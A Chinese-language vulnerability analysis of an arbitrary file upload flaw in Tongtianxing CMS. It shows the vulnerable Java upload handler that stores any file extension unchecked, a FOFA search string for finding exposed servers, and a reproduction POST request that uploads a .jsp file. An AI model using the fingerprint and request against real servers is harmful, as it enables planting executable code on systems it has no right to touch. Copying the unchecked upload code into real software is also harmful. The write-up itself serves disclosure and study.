通天星CMS任意文件上传代码分析

0x01 技术文章仅供参考学习,请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失,均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习,一切不良后果与文章作者无关。使用者应该遵守法律法规,并尊重他人的合法权益。

0x02 指纹信息

web.body="/808gps/"fofa:body="/808gps/"

0x03 源码分析

漏洞位置出现于/inspect_file/upload接口,我们在全局搜索/upload接口并追进代码中进行分析。

通天星CMS任意文件上传代码分析

通天星CMS任意文件上传代码分析

跟进脚步进入源码分析。

这段代码使用PostMapping将/upload方法映射到POST请求中。upload方法签名,接受一个MultipartFile类型的参数uploadFile,表示上传的文件。然后从请求中获取folderName参数。如果未提供或为空,就会默认设置为software。

@PostMapping({"/upload"})   @ResponseBody   public AjaxResult upload(MultipartFile uploadFile) throws Exception {      String folderName = this.getRequestStringEx("folderName");      if (StringUtils.isBlank(folderName)) {         folderName = "software";      }

跟着代码往下走,获取服务器上存储上传文件的实际路径,并将 folderName追加到该路径(realPath)。创建对应的File对象,接着就是一个if判断如果目录不存在则创建该目录。

String var10000 = this.getRequest().getSession().getServletContext().getRealPath("upload/");      String realPath = var10000 + folderName;      File file = new File(realPath);      if (!file.exists()) {         file.mkdirs();      }

跟着代码往下走,使用System.nanoTime()生成时间戳唯一文件名,可以理解为避免文件名冲突。然后将上传的文件保存到目标路径。创建一个 InspectFileVo 对象,并设置文件路径属性。接下来创建一个包含各种图片文件扩展名的列表 jpgArray,然后再if判断。其实到这里就基本上可以判定存在任意文件上传漏洞了。

long var9 = System.nanoTime();      String fileName = var9 + "_" + uploadFile.getOriginalFilename();      File target = new File(realPath + "/" + fileName);      uploadFile.transferTo(target);      InspectFileVo fileVo = new InspectFileVo();      fileVo.setFilePath("/upload/" + folderName + "/" + fileName);      List jpgArray = new ArrayList();      jpgArray.add("tiff");      jpgArray.add("pjp");      jpgArray.add("pjpeg");      jpgArray.add("jfif");      jpgArray.add("webp");      jpgArray.add("tif");      jpgArray.add("bmp");      jpgArray.add("png");      jpgArray.add("jpeg");      jpgArray.add("jpg");      jpgArray.add("gif");      jpgArray.add("ico");      jpgArray.add("xbm");      jpgArray.add("dib");      if (jpgArray.contains(this.getsuffixEx(fileName))) {         fileVo.setFileType(1);      } else {         fileVo.setFileType(2);      }
return AjaxResult.getSuccess((String)null, fileVo); }

0x04 漏洞复现

数据包

POST /inspect_file/upload HTTP/1.1Host: xxxxxxxxAccept: */*Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye47i1yjiwdNmjKaQConnection: closeContent-Length: 32560
------WebKitFormBoundarye47i1yjiwdNmjKaQContent-Disposition: form-data; name="uploadFile"; filename="111.jsp"Content-Type: application/octet-stream
qqqq------WebKitFormBoundarye47i1yjiwdNmjKaQ--


原文始发于微信公众号(Kokoxca安全):通天星CMS任意文件上传代码分析

版权声明:admin 发表于 2024年5月20日 下午4:46。
转载请注明:通天星CMS任意文件上传代码分析 | CTF导航

相关文章